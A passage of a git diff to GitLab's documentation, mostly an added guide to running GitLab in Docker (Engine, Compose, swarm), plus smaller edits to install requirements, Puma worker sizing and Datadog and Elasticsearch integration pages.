+export GITLAB_HOME=$HOME/gitlab
+```
+
+The GitLab container uses host mounted volumes to store persistent data:
+
+| Local location | Container location | Usage |
+|----------------------|--------------------|---------------------------------------------|
+| `$GITLAB_HOME/data` | `/var/opt/gitlab` | For storing application data. |
+| `$GITLAB_HOME/logs` | `/var/log/gitlab` | For storing logs. |
+| `$GITLAB_HOME/config`| `/etc/gitlab` | For storing the GitLab configuration files. |
+
+## Installation
+
+The GitLab Docker images can be run in multiple ways:
+
+- [Using Docker Engine](#install-gitlab-using-docker-engine)
+- [Using Docker Compose](#install-gitlab-using-docker-compose)
+- [Using Docker swarm mode](#install-gitlab-using-docker-swarm-mode)
+
+### Install GitLab using Docker Engine
+
+You can fine tune these directories to meet your requirements.
+Once you've set up the `GITLAB_HOME` variable, you can run the image:
+
+```shell
+sudo docker run --detach \
+ --hostname gitlab.example.com \
+ --publish 443:443 --publish 80:80 --publish 22:22 \
+ --name gitlab \
+ --restart always \
+ --volume $GITLAB_HOME/config:/etc/gitlab \
+ --volume $GITLAB_HOME/logs:/var/log/gitlab \
+ --volume $GITLAB_HOME/data:/var/opt/gitlab \
+ gitlab/gitlab-ee:latest
+```
+
+This will download and start a GitLab container and publish ports needed to
+access SSH, HTTP and HTTPS. All GitLab data will be stored as subdirectories of
+`$GITLAB_HOME`. The container will automatically `restart` after a system reboot.
+
+If you are on SELinux, then run this instead:
+
+```shell
+sudo docker run --detach \
+ --hostname gitlab.example.com \
+ --publish 443:443 --publish 80:80 --publish 22:22 \
+ --name gitlab \
+ --restart always \
+ --volume $GITLAB_HOME/config:/etc/gitlab:Z \
+ --volume $GITLAB_HOME/logs:/var/log/gitlab:Z \
+ --volume $GITLAB_HOME/data:/var/opt/gitlab:Z \
+ gitlab/gitlab-ee:latest
+```
+
+This will ensure that the Docker process has enough permissions to create the
+config files in the mounted volumes.
+
+If you're using the [Kerberos integration](../integration/kerberos.md) **(PREMIUM ONLY)**,
+you must also publish your Kerberos port (for example, `--publish 8443:8443`).
+Failing to do so prevents Git operations with Kerberos.
+
+The initialization process may take a long time. You can track this
+process with:
+
+```shell
+sudo docker logs -f gitlab
+```
+
+After starting a container you can visit `gitlab.example.com` (or
+`http://192.168.59.103` if you used boot2docker on macOS). It might take a while
+before the Docker container starts to respond to queries.
+The very first time you visit GitLab, you will be asked to set up the admin
+password. After you change it, you can log in with username `root` and the
+password you set up.
+
+### Install GitLab using Docker Compose
+
+With [Docker Compose](https://docs.docker.com/compose/) you can easily configure,
+install, and upgrade your Docker-based GitLab installation:
+
+1. [Install Docker Compose](https://docs.docker.com/compose/install/).
+1. Create a `docker-compose.yml` file (or [download an example](https://gitlab.com/gitlab-org/omnibus-gitlab/raw/master/docker/docker-compose.yml)):
+
+ ```yaml
+ web:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ external_url 'https://gitlab.example.com'
+ # Add any other gitlab.rb configuration here, each on its own line
+ ports:
+ - '80:80'
+ - '443:443'
+ - '22:22'
+ volumes:
+ - '$GITLAB_HOME/config:/etc/gitlab'
+ - '$GITLAB_HOME/logs:/var/log/gitlab'
+ - '$GITLAB_HOME/data:/var/opt/gitlab'
+ ```
+
+1. Make sure you are in the same directory as `docker-compose.yml` and start
+ GitLab:
+
+ ```shell
+ docker-compose up -d
+ ```
+
+NOTE:
+Read the ["Pre-configure Docker container"](#pre-configure-docker-container) section
+to see how the `GITLAB_OMNIBUS_CONFIG` variable works.
+
+Below is another `docker-compose.yml` example with GitLab running on a custom
+HTTP and SSH port. Notice how the `GITLAB_OMNIBUS_CONFIG` variables match the
+`ports` section:
+
+```yaml
+web:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ external_url 'http://gitlab.example.com:8929'
+ gitlab_rails['gitlab_shell_ssh_port'] = 2224
+ ports:
+ - '8929:8929'
+ - '2224:22'
+ volumes:
+ - '$GITLAB_HOME/config:/etc/gitlab'
+ - '$GITLAB_HOME/logs:/var/log/gitlab'
+ - '$GITLAB_HOME/data:/var/opt/gitlab'
+```
+
+This is the same as using `--publish 8929:8929 --publish 2224:22`.
+
+### Install GitLab using Docker swarm mode
+
+With [Docker swarm mode](https://docs.docker.com/engine/swarm/), you can easily
+configure and deploy your
+Docker-based GitLab installation in a swarm cluster.
+
+In swarm mode you can leverage [Docker secrets](https://docs.docker.com/engine/swarm/secrets/)
+and [Docker configs](https://docs.docker.com/engine/swarm/configs/) to efficiently and securely deploy your GitLab instance.
+Secrets can be used to securely pass your initial root password without exposing it as an environment variable.
+Configs can help you to keep your GitLab image as generic as possible.
+
+Here's an example that deploys GitLab with four runners as a [stack](https://docs.docker.com/get-started/part5/), using secrets and configs:
+
+1. [Set up a Docker swarm](https://docs.docker.com/engine/swarm/swarm-tutorial/).
+1. Create a `docker-compose.yml` file:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: gitlab/gitlab-ee:latest
+ ports:
+ - "22:22"
+ - "80:80"
+ - "443:443"
+ volumes:
+ - $GITLAB_HOME/data:/var/opt/gitlab
+ - $GITLAB_HOME/logs:/var/log/gitlab
+ - $GITLAB_HOME/config:/etc/gitlab
+ environment:
+ GITLAB_OMNIBUS_CONFIG: "from_file('/omnibus_config.rb')"
+ configs:
+ - source: gitlab
+ target: /omnibus_config.rb
+ secrets:
+ - gitlab_root_password
+ gitlab-runner:
+ image: gitlab/gitlab-runner:alpine
+ deploy:
+ mode: replicated
+ replicas: 4
+ configs:
+ gitlab:
+ file: ./gitlab.rb
+ secrets:
+ gitlab_root_password:
+ file: ./root_password.txt
+ ```
+
+ For simplicity reasons, the `network` configuration was omitted.
+ More information can be found in the official [Compose file reference](https://docs.docker.com/compose/compose-file/).
+
+1. Create a `gitlab.rb` file:
+
+ ```ruby
+ external_url 'https://my.domain.com/'
+ gitlab_rails['initial_root_password'] = File.read('/run/secrets/gitlab_root_password')
+ ```
+
+1. Create a `root_password.txt` file:
+
+ ```plaintext
+ MySuperSecretAndSecurePass0rd!
+ ```
+
+1. Make sure you are in the same directory as `docker-compose.yml` and run:
+
+ ```shell
+ docker stack deploy --compose-file docker-compose.yml mystack
+ ```
+
+## Configuration
+
+This container uses the official Omnibus GitLab package, so all configuration
+is done in the unique configuration file `/etc/gitlab/gitlab.rb`.
+
+To access the GitLab configuration file, you can start a shell session in the
+context of a running container. This will allow you to browse all directories
+and use your favorite text editor:
+
+```shell
+sudo docker exec -it gitlab /bin/bash
+```
+
+You can also just edit `/etc/gitlab/gitlab.rb`:
+
+```shell
+sudo docker exec -it gitlab editor /etc/gitlab/gitlab.rb
+```
+
+Once you open `/etc/gitlab/gitlab.rb` make sure to set the `external_url` to
+point to a valid URL.
+
+To receive e-mails from GitLab you have to configure the
+[SMTP settings](https://docs.gitlab.com/omnibus/settings/smtp.html) because the GitLab Docker image doesn't
+have an SMTP server installed. You may also be interested in
+[enabling HTTPS](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https).
+
+After you make all the changes you want, you will need to restart the container
+in order to reconfigure GitLab:
+
+```shell
+sudo docker restart gitlab
+```
+
+GitLab will reconfigure itself whenever the container starts.
+For more options about configuring GitLab, check the
+[configuration documentation](https://docs.gitlab.com/omnibus/settings/configuration.html).
+
+### Pre-configure Docker container
+
+You can pre-configure the GitLab Docker image by adding the environment variable
+`GITLAB_OMNIBUS_CONFIG` to Docker run command. This variable can contain any
+`gitlab.rb` setting and is evaluated before the loading of the container's
+`gitlab.rb` file. This behavior allows you to configure the external GitLab URL,
+and make database configuration or any other option from the
+[Omnibus GitLab template](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template).
+The settings contained in `GITLAB_OMNIBUS_CONFIG` aren't written to the
+`gitlab.rb` configuration file, and are evaluated on load.
+
+Here's an example that sets the external URL and enables LFS while starting
+the container:
+
+```shell
+sudo docker run --detach \
+ --hostname gitlab.example.com \
+ --env GITLAB_OMNIBUS_CONFIG="external_url 'http://my.domain.com/'; gitlab_rails['lfs_enabled'] = true;" \
+ --publish 443:443 --publish 80:80 --publish 22:22 \
+ --name gitlab \
+ --restart always \
+ --volume $GITLAB_HOME/config:/etc/gitlab \
+ --volume $GITLAB_HOME/logs:/var/log/gitlab \
+ --volume $GITLAB_HOME/data:/var/opt/gitlab \
+ gitlab/gitlab-ee:latest
+```
+
+Note that every time you execute a `docker run` command, you need to provide
+the `GITLAB_OMNIBUS_CONFIG` option. The content of `GITLAB_OMNIBUS_CONFIG` is
+_not_ preserved between subsequent runs.
+
+### Use tagged versions of GitLab
+
+Tagged versions of the GitLab Docker images are also provided.
+To see all available tags see:
+
+- [GitLab CE tags](https://hub.docker.com/r/gitlab/gitlab-ce/tags/)
+- [GitLab EE tags](https://hub.docker.com/r/gitlab/gitlab-ee/tags/)
+
+To use a specific tagged version, replace `gitlab/gitlab-ee:latest` with
+the GitLab version you want to run, for example `gitlab/gitlab-ee:12.1.3-ce.0`.
+
+### Run GitLab on a public IP address
+
+You can make Docker to use your IP address and forward all traffic to the
+GitLab container by modifying the `--publish` flag.
+
+To expose GitLab on IP `198.51.100.1`:
+
+```shell
+sudo docker run --detach \
+ --hostname gitlab.example.com \
+ --publish 198.51.100.1:443:443 \
+ --publish 198.51.100.1:80:80 \
+ --publish 198.51.100.1:22:22 \
+ --name gitlab \
+ --restart always \
+ --volume $GITLAB_HOME/config:/etc/gitlab \
+ --volume $GITLAB_HOME/logs:/var/log/gitlab \
+ --volume $GITLAB_HOME/data:/var/opt/gitlab \
+ gitlab/gitlab-ee:latest
+```
+
+You can then access your GitLab instance at `http://198.51.100.1/` and `https://198.51.100.1/`.
+
+### Expose GitLab on different ports
+
+GitLab will occupy [some ports](https://docs.gitlab.com/omnibus/package-information/defaults.html)
+inside the container.
+
+If you want to use a different host port than `80` (HTTP) or `443` (HTTPS),
+you need to add a separate `--publish` directive to the `docker run` command.
+
+For example, to expose the web interface on the host's port `8929`, and the SSH service on
+port `2289`:
+
+1. Use the following `docker run` command:
+
+ ```shell
+ sudo docker run --detach \
+ --hostname gitlab.example.com \
+ --publish 8929:8929 --publish 2289:22 \
+ --name gitlab \
+ --restart always \
+ --volume $GITLAB_HOME/config:/etc/gitlab \
+ --volume $GITLAB_HOME/logs:/var/log/gitlab \
+ --volume $GITLAB_HOME/data:/var/opt/gitlab \
+ gitlab/gitlab-ee:latest
+ ```
+
+ NOTE:
+ The format for publishing ports is `hostPort:containerPort`. Read more in
+ Docker's documentation about
+ [exposing incoming ports](https://docs.docker.com/engine/reference/run/#/expose-incoming-ports).
+
+1. Enter the running container:
+
+ ```shell
+ sudo docker exec -it gitlab /bin/bash
+ ```
+
+1. Open `/etc/gitlab/gitlab.rb` with your editor and set `external_url`:
+
+ ```ruby
+ # For HTTP
+ external_url "http://gitlab.example.com:8929"
+
+ or
+
+ # For HTTPS (notice the https)
+ external_url "https://gitlab.example.com:8929"
+ ```
+
+ The port specified in this URL must match the port published to the host by Docker.
+ Additionally, if the NGINX listen port is not explicitly set in
+ `nginx['listen_port']`, it will be pulled from the `external_url`.
+ For more information see the [NGINX documentation](https://docs.gitlab.com/omnibus/settings/nginx.html).
+
+1. Set `gitlab_shell_ssh_port`:
+
+ ```ruby
+ gitlab_rails['gitlab_shell_ssh_port'] = 2289
+ ```
+
+1. Finally, reconfigure GitLab:
+
+ ```shell
+ gitlab-ctl reconfigure
+ ```
+
+Following the above example, you will be able to reach GitLab from your
+web browser under `<hostIP>:8929` and push using SSH under the port `2289`.
+
+A `docker-compose.yml` example that uses different ports can be found in the
+[Docker compose](#install-gitlab-using-docker-compose) section.
+
+## Update
+
+In most cases, updating GitLab is as easy as downloading the newest Docker
+[image tag](#use-tagged-versions-of-gitlab).
+
+### Update GitLab using Docker Engine
+
+To update GitLab that was [installed using Docker Engine](#install-gitlab-using-docker-engine):
+
+1. Take a [backup](#back-up-gitlab).
+1. Stop the running container:
+
+ ```shell
+ sudo docker stop gitlab
+ ```
+
+1. Remove the existing container:
+
+ ```shell
+ sudo docker rm gitlab
+ ```
+
+1. Pull the new image. For example, the latest GitLab image:
+
+ ```shell
+ sudo docker pull gitlab/gitlab-ee:latest
+ ```
+
+1. Create the container once again with the
+[previously specified](#install-gitlab-using-docker-engine) options:
+
+ ```shell
+ sudo docker run --detach \
+ --hostname gitlab.example.com \
+ --publish 443:443 --publish 80:80 --publish 22:22 \
+ --name gitlab \
+ --restart always \
+ --volume $GITLAB_HOME/config:/etc/gitlab \
+ --volume $GITLAB_HOME/logs:/var/log/gitlab \
+ --volume $GITLAB_HOME/data:/var/opt/gitlab \
+ gitlab/gitlab-ee:latest
+ ```
+
+On the first run, GitLab will reconfigure and update itself.
+
+Refer to the GitLab [Update recommendations](../policy/maintenance.md#upgrade-recommendations)
+when upgrading between major versions.
+
+### Update GitLab using Docker compose
+
+To update GitLab that was [installed using Docker Compose](#install-gitlab-using-docker-compose):
+
+1. Take a [backup](#back-up-gitlab).
+1. Download the newest release and update your GitLab instance:
+
+ ```shell
+ docker-compose pull
+ docker-compose up -d
+ ```
+
+ If you have used [tags](#use-tagged-versions-of-gitlab) instead, you'll need
+ to first edit `docker-compose.yml`.
+
+## Back up GitLab
+
+You can create a GitLab backup with:
+
+```shell
+docker exec -t <container name> gitlab-backup create
+```
+
+Read more on how to [back up and restore GitLab](../raketasks/backup_restore.md).
+
+NOTE:
+If configuration is provided entirely via the `GITLAB_OMNIBUS_CONFIG` environment variable
+(per the ["Pre-configure Docker Container"](#pre-configure-docker-container) steps),
+meaning no configuration is set directly in the `gitlab.rb` file, then there is no need
+to back up the `gitlab.rb` file.
+
+## Installing GitLab Community Edition
+
+[GitLab CE Docker image](https://hub.docker.com/r/gitlab/gitlab-ce/)
+
+To install the Community Edition, replace `ee` with `ce` in the commands on this
+page.
+
+## Troubleshooting
+
+The following information will help if you encounter problems using Omnibus GitLab and Docker.
+
+### Diagnose potential problems
+
+Read container logs:
+
+```shell
+sudo docker logs gitlab
+```
+
+Enter running container:
+
+```shell
+sudo docker exec -it gitlab /bin/bash
+```
+
+From within the container you can administer the GitLab container as you would
+normally administer an
+[Omnibus installation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md)
+
+### 500 Internal Error
+
+When updating the Docker image you may encounter an issue where all paths
+display a `500` page. If this occurs, restart the container to try to rectify the
+issue:
+
+```shell
+sudo docker restart gitlab
+```
+
+### Permission problems
+
+When updating from older GitLab Docker images you might encounter permission
+problems. This happens when users in previous images were not
+preserved correctly. There's script that fixes permissions for all files.
+
+To fix your container, execute `update-permissions` and restart the
+container afterwards:
+
+```shell
+sudo docker exec gitlab update-permissions
+sudo docker restart gitlab
+```
+
+### Windows/Mac: `Error executing action run on resource ruby_block[directory resource: /data/GitLab]`
+
+This error occurs when using Docker Toolbox with VirtualBox on Windows or Mac,
+and making use of Docker volumes. The `/c/Users` volume is mounted as a
+VirtualBox Shared Folder, and does not support the all POSIX filesystem features.
+The directory ownership and permissions cannot be changed without remounting, and
+GitLab fails.
+
+Our recommendation is to switch to using the native Docker install for your
+platform, instead of using Docker Toolbox.
+
+If you cannot use the native Docker install (Windows 10 Home Edition, or Windows 7/8),
+then an alternative solution is to setup NFS mounts instead of VirtualBox shares for
+Docker Toolbox's boot2docker.
+
+### Linux ACL issues
+
+If you are using file ACLs on the Docker host, the `docker` group requires full access to the volumes in order for GitLab to work:
+
+```shell
+getfacl $GITLAB_HOME
+
+# file: $GITLAB_HOME
+# owner: XXXX
+# group: XXXX
+user::rwx
+group::rwx
+group:docker:rwx
+mask::rwx
+default:user::rwx
+default:group::rwx
+default:group:docker:rwx
+default:mask::rwx
+default:other::r-x
+```
+
+If these are not correct, set them with:
+
+```shell
+sudo setfacl -mR default:group:docker:rwx $GITLAB_HOME
+```
+
+The default group is `docker`. If you changed the group, be sure to update your
+commands.
+
+### /dev/shm mount not having enough space in Docker container
+
+GitLab comes with a Prometheus metrics endpoint at `/-/metrics` to expose a
+variety of statistics on the health and performance of GitLab. The files
+required for this gets written to a temporary file system (like `/run` or
+`/dev/shm`).
+
+By default, Docker allocates 64Mb to the shared memory directory (mounted at
+`/dev/shm`). This is insufficient to hold all the Prometheus metrics related
+files generated, and will generate error logs like the following:
+
+```plaintext
+writing value to /dev/shm/gitlab/sidekiq/gauge_all_sidekiq_0-1.db failed with unmapped file
+writing value to /dev/shm/gitlab/sidekiq/gauge_all_sidekiq_0-1.db failed with unmapped file
+writing value to /dev/shm/gitlab/sidekiq/gauge_all_sidekiq_0-1.db failed with unmapped file
+writing value to /dev/shm/gitlab/sidekiq/histogram_sidekiq_0-0.db failed with unmapped file
+writing value to /dev/shm/gitlab/sidekiq/histogram_sidekiq_0-0.db failed with unmapped file
+writing value to /dev/shm/gitlab/sidekiq/histogram_sidekiq_0-0.db failed with unmapped file
+writing value to /dev/shm/gitlab/sidekiq/histogram_sidekiq_0-0.db failed with unmapped file
+```
+
+Other than disabling the Prometheus Metrics from the Admin page, the recommended
+solution to fix this problem is to increase the size of shm to at least 256Mb.
+If using `docker run`, this can be done by passing the flag `--shm-size 256m`.
+If using a `docker-compose.yml` file, the `shm_size` key can be used for this
+purpose.
+
+### Docker containers exhausts space due to the `json-file`
+
+Docker's [default logging driver is `json-file`](https://docs.docker.com/config/containers/logging/configure/#configure-the-default-logging-driver), which performs no log rotation by default. As a result of this lack of rotation, log files stored by the `json-file` driver can consume a significant amount of disk space for containers that generate a lot of output. This can lead to disk space exhaustion. To address this, use [journald](https://docs.docker.com/config/containers/logging/journald/) as the logging driver when available, or [another supported driver](https://docs.docker.com/config/containers/logging/configure/#supported-logging-drivers) with native rotation support.
diff --git a/doc/install/google_cloud_platform/index.md b/doc/install/google_cloud_platform/index.md
index 958f3e18c62..bda98ead1f5 100644
--- a/doc/install/google_cloud_platform/index.md
+++ b/doc/install/google_cloud_platform/index.md
@@ -12,7 +12,7 @@ This guide will help you install GitLab on a [Google Cloud Platform (GCP)](https
NOTE:
Google provides a whitepaper for [deploying production-ready GitLab on
-Google Kubernetes Engine](https://cloud.google.com/solutions/deploying-production-ready-gitlab-on-gke),
+Google Kubernetes Engine](https://cloud.google.com/architecture/deploying-production-ready-gitlab-on-gke),
including all steps and external resource configuration. These are an alternative to using a GCP VM, and use
the [Cloud native GitLab Helm chart](https://docs.gitlab.com/charts/).
diff --git a/doc/install/index.md b/doc/install/index.md
index 8e34ac24b71..df2f230fd27 100644
--- a/doc/install/index.md
+++ b/doc/install/index.md
@@ -31,7 +31,7 @@ install GitLab:
| [Helm charts](https://docs.gitlab.com/charts/) | The cloud native Helm chart for installing GitLab and all of its components on Kubernetes. | When installing GitLab on Kubernetes, there are some trade-offs that you need to be aware of: <br/>- Administration and troubleshooting requires Kubernetes knowledge.<br/>- It can be more expensive for smaller installations. The default installation requires more resources than a single node Linux package deployment, as most services are deployed in a redundant fashion.<br/>- There are some feature [limitations to be aware of](https://docs.gitlab.com/charts/#limitations).<br/><br/> Use this method if your infrastructure is built on Kubernetes and you're familiar with how it works. The methods for management, observability, and some concepts are different than traditional deployments. |
| [Docker](https://docs.gitlab.com/omnibus/docker/) | The GitLab packages, Dockerized. | Use this method if you're familiar with Docker. |
| [Source](installation.md) | Install GitLab and all of its components from scratch. | Use this method if none of the previous methods are available for your platform. Useful for unsupported systems like \*BSD.|
-| [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#documentation) | The GitLab Environment toolkit provides a set of automation tools to deploy a [reference architecture](../administration/reference_architectures/index.md) on most major cloud providers. | Since GET is in beta and not yet recommended for production use, use this method if you want to test deploying GitLab in scalable environment. |
+| [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#documentation) | The GitLab Environment toolkit provides a set of automation tools to deploy a [reference architecture](../administration/reference_architectures/index.md) on most major cloud providers. | Customers are very welcome to trial and evaluate GET today, however be aware of [key limitations](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#missing-features-to-be-aware-of) of the current iteration. For production environments further manual setup will be required based on your specific requirements. |
## Install GitLab on cloud providers
diff --git a/doc/install/installation.md b/doc/install/installation.md
index 572c6de18d0..9db8631a6a5 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -1004,6 +1004,17 @@ Using Sidekiq directly is still supported until 14.0. So if you're experiencing
1. Restart GitLab.
1. [Create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/-/new) describing the problem.
+### Prometheus server setup
+
+You can configure the Prometheus server in `config/gitlab.yml`:
+
+```yaml
+# example
+prometheus:
+ enabled: true
+ server_address: '10.1.2.3:9090'
+```
+
## Troubleshooting
### "You appear to have cloned an empty repository."
diff --git a/doc/install/next_steps.md b/doc/install/next_steps.md
index 4e4f1f01a08..f271caef493 100644
--- a/doc/install/next_steps.md
+++ b/doc/install/next_steps.md
@@ -26,7 +26,7 @@ installation.
## Security
-- [Secure GitLab](../security/README.md#securing-your-gitlab-installation):
+- [Secure GitLab](../security/index.md#securing-your-gitlab-installation):
Recommended practices to secure your GitLab instance.
- Sign up for the GitLab [Security Newsletter](https://about.gitlab.com/company/preference-center/) to get notified for security updates upon release.
diff --git a/doc/install/openshift_and_gitlab/index.md b/doc/install/openshift_and_gitlab/index.md
index 31c3ca60b84..b13293eccfc 100644
--- a/doc/install/openshift_and_gitlab/index.md
+++ b/doc/install/openshift_and_gitlab/index.md
@@ -23,8 +23,6 @@ In this tutorial, we will see how to deploy GitLab in OpenShift using the GitLab
official Docker image while getting familiar with the web interface and CLI
tools that help us achieve our goal.
-For a video demonstration on installing GitLab on OpenShift, check the article [In 13 minutes from Kubernetes to a complete application development tool](https://about.gitlab.com/blog/2016/11/14/idea-to-production/).
-
## Prerequisites
WARNING:
diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md
index 80bbb0671b9..99c85f4f808 100644
--- a/doc/install/postgresql_extensions.md
+++ b/doc/install/postgresql_extensions.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
This guide documents how to manage PostgreSQL extensions for installations with an external
PostgreSQL database.
-The following extensions must be loaded into the GitLab database:
+You must load the following extensions into the main GitLab database (defaults to `gitlabhq_production`):
| Extension | Minimum GitLab version |
|--------------|------------------------|
@@ -17,6 +17,13 @@ The following extensions must be loaded into the GitLab database:
| `btree_gist` | 13.1 |
| `plpgsql` | 11.7 |
+If you are using [GitLab Geo](https://about.gitlab.com/solutions/geo/), you must load the following
+extensions into all secondary tracking databases (defaults to `gitlabhq_geo_production`):
+
+| Extension | Minimum GitLab version |
+|--------------|------------------------|
+| `plpgsql` | 9.0 |
+
In order to install extensions, PostgreSQL requires the user to have superuser privileges.
Typically, the GitLab database user is not a superuser. Therefore, regular database migrations
cannot be used in installing extensions and instead, extensions have to be installed manually
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index 3a8b7bf1004..71d00e3f688 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -70,6 +70,9 @@ NOTE:
Since file system performance may affect the overall performance of GitLab,
[we don't recommend using cloud-based file systems for storage](../administration/nfs.md#avoid-using-cloud-based-file-systems).
+NOTE:
+[NFS for Git repository storage is deprecated](https://about.gitlab.com/releases/2021/06/22/gitlab-14-0-released/#nfs-for-git-repository-storage-deprecated). See our official [Statement of Support](https://about.gitlab.com/support/statement-of-support.html#gitaly-and-nfs) for further information.
+
### CPU
CPU requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repository/change size.
@@ -170,22 +173,71 @@ of GitLab Support or other GitLab engineers.
## Puma settings
The recommended settings for Puma are determined by the infrastructure on which it's running.
-Omnibus GitLab defaults to the recommended Puma settings. Regardless of installation method, you can
-tune the Puma settings.
+The GitLab Linux package defaults to the recommended Puma settings. Regardless of installation method, you can
+tune the Puma settings:
-If you're using Omnibus GitLab, see [Puma settings](https://docs.gitlab.com/omnibus/settings/puma.html)
-for instructions on changing the Puma settings. If you're using the GitLab Helm chart, see the [`webservice` chart](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html).
+- If you're using the GitLab Linux package, see [Puma settings](../administration/operations/puma.md)
+ for instructions on changing the Puma settings.
+- If you're using the GitLab Helm chart, see the
+ [`webservice` chart](https://docs.gitlab.com/charts/charts/gitlab/webservice/index.html).
### Puma workers
The recommended number of workers is calculated as the highest of the following:
- `2`
-- Number of CPU cores - 1
-
-For example a node with 4 cores should be configured with 3 Puma workers.
-
-You can increase the number of Puma workers, providing enough CPU and memory capacity is available.
+- A combination of CPU and memory resource availability (see how this is configured automatically for the [Linux package](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/ef9facdc927e7389db6a5e0655414ba8318c7b8a/files/gitlab-cookbooks/gitlab/libraries/puma.rb#L31-46)).
+
+Take for example the following scenarios:
+
+- A node with 2 cores / 8 GB memory should be configured with **2 Puma workers**.
+
+ Calculated as:
+
+ ```plaintext
+ The highest number from
+ 2
+ And
+ [
+ the lowest number from
+ - number of cores: 2
+ - memory limit: (8 - 1.5) = 6
+ ]
+ ```
+
+ So, the highest from 2 and 2 is 2.
+
+- A node with 4 cores / 4 GB memory should be configured with **2 Puma workers**.
+
+ ```plaintext
+ The highest number from
+ 2
+ And
+ [
+ the lowest number from
+ - number of cores: 4
+ - memory limit: (4 - 1.5) = 2.5
+ ]
+ ```
+
+ So, the highest from 2 and 2 is 2.
+
+- A node with 4 cores / 8 GB memory should be configured with **4 Puma workers**.
+
+ ```plaintext
+ The highest number from
+ 2
+ And
+ [
+ the lowest number from
+ - number of cores: 4
+ - memory limit: (8 - 1.5) = 6.5
+ ]
+ ```
+
+ So, the highest from 2 and 4 is 4.
+
+You can increase the number of Puma workers, provided enough CPU and memory capacity is available.
A higher number of Puma workers usually helps to reduce the response time of the application
and increase the ability to handle parallel requests. You must perform testing to verify the
optimal settings for your infrastructure.
diff --git a/doc/integration/datadog.md b/doc/integration/datadog.md
new file mode 100644
index 00000000000..38ff004a203
--- /dev/null
+++ b/doc/integration/datadog.md
@@ -0,0 +1,32 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Datadog integration **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270123) in GitLab 14.1
+
+This integration allows sending CI/CD pipeline and job information to [Datadog](https://www.datadoghq.com/) for monitoring and troubleshooting of job failures and performance issues using the [CI Visibility](https://app.datadoghq.com/ci) product.
+
+You can find out more information on [Datadog's CI Visibility documentation site](https://docs.datadoghq.com/continuous_integration/).
+
+## How to configure it
+
+The integration is based on [Webhooks](../user/project/integrations/webhooks.md) and it only requires setup on GitLab.
+
+Configure the integration on a project or group by going to **Settings > Integrations > Datadog** for each project or group you want to instrument. You can also activate the integration for the entire GitLab instance.
+
+Fill in the integration configuration settings:
+
+- `Active` enables the integration.
+- `Datadog site` specifies which [Datadog site](https://docs.datadoghq.com/getting_started/site/) to send data to.
+- `API URL` (optional) allows overriding the API URL used for sending data directly, only used in advanced scenarios.
+- `API key` specifies which API key to use when sending data. You can generate one in the [APIs tab](https://app.datadoghq.com/account/settings#api) of the Integrations section on Datadog.
+- `Service` (optional) specifies which service name to attach to each span generated by the integration. Use this to differentiate between GitLab instances.
+- `Env` (optional) specifies which environment (`env` tag) to attach to each span generated by the integration. Use this to differentiate between groups of GitLab instances (i.e. staging vs production).
+
+You can test the integration with the `Test settings` button. After it’s successful, click `Save changes` to finish the integration set up.
+
+Data sent by the integration will be available in the [CI Visibility](https://app.datadoghq.com/ci) section of your Datadog account.
diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md
index aa82e15f1b1..23ca57cb8b8 100644
--- a/doc/integration/elasticsearch.md
+++ b/doc/integration/elasticsearch.md
@@ -26,6 +26,11 @@ and the advantage of the [special searches](../user/search/advanced_search.md).
| GitLab Enterprise Edition 9.0 through 11.4 | Elasticsearch 5.1 through 5.5 |
| GitLab Enterprise Edition 8.4 through 8.17 | Elasticsearch 2.4 with [Delete By Query Plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/2.4/plugins-delete-by-query.html) installed |
+The Elasticsearch Integration is designed to work with supported versions of
+Elasticsearch and follows Elasticsearch's [End of Life Policy](https://www.elastic.co/support/eol).
+When we change Elasticsearch supported versions in GitLab, we announce them in [deprecation notes](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations) in monthly release posts
+before the actual removal.
+
## System requirements
Elasticsearch requires additional resources in excess of those documented in the
@@ -186,7 +191,8 @@ instances](#indexing-large-instances) below.
To enable Advanced Search, you need to have admin access to GitLab:
-1. Navigate to **Admin Area**, then **Settings > Advanced Search**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Advanced Search**.
NOTE:
To see the Advanced Search section, you need an active GitLab Premium
@@ -195,11 +201,10 @@ To enable Advanced Search, you need to have admin access to GitLab:
1. Configure the [Advanced Search settings](#advanced-search-configuration) for
your Elasticsearch cluster. Do not enable **Search with Elasticsearch enabled**
yet.
-1. Now enable **Elasticsearch indexing** in **Admin Area > Settings >
- Advanced Search** and click **Save changes**. This will create
+1. Enable **Elasticsearch indexing** and select **Save changes**. This creates
an empty index if one does not already exist.
-1. Click **Index all projects**.
-1. Click **Check progress** in the confirmation message to see the status of
+1. Select **Index all projects**.
+1. Select **Check progress** in the confirmation message to see the status of
the background jobs.
